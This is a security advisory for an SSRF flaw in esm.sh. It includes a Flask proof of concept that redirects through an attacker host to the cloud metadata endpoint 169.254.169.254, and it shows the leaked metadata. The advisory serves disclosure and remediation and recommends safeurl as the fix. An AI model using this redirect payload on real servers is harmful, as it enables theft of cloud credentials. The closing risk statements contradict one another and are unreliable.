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GHSA-3c9r-837r-qqm4
No affected components available
Summary
esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.
Details
Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511
If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.
eg: https://esm.sh/https://local.site/test.md
".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"
A 302 redirect can be used to bypass the suffix restriction.
eg: https://esm.sh/https://attacker.site/test.md
https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json
PoC
Use Flask to start a server that returns a 302 redirect.
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/test.md')
def redirect_test():
return redirect("http://169.254.169.254/v1.json", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Let esh.sh visit this site.
https://esm.sh/https://attacker.site/test.md
Attacker can obtain data from http://169.254.169.254/v1.json.
var t=`<p>{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}</p>
`,o={},u=t;export{u as default,t as html,o as meta};
Decode the data (redacted) .
{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}
Impact
An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.
Fix
It is recommended to use safeurl.Client as a replacement for http.Client.
https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13
https://github.com/doyensec/safeurl
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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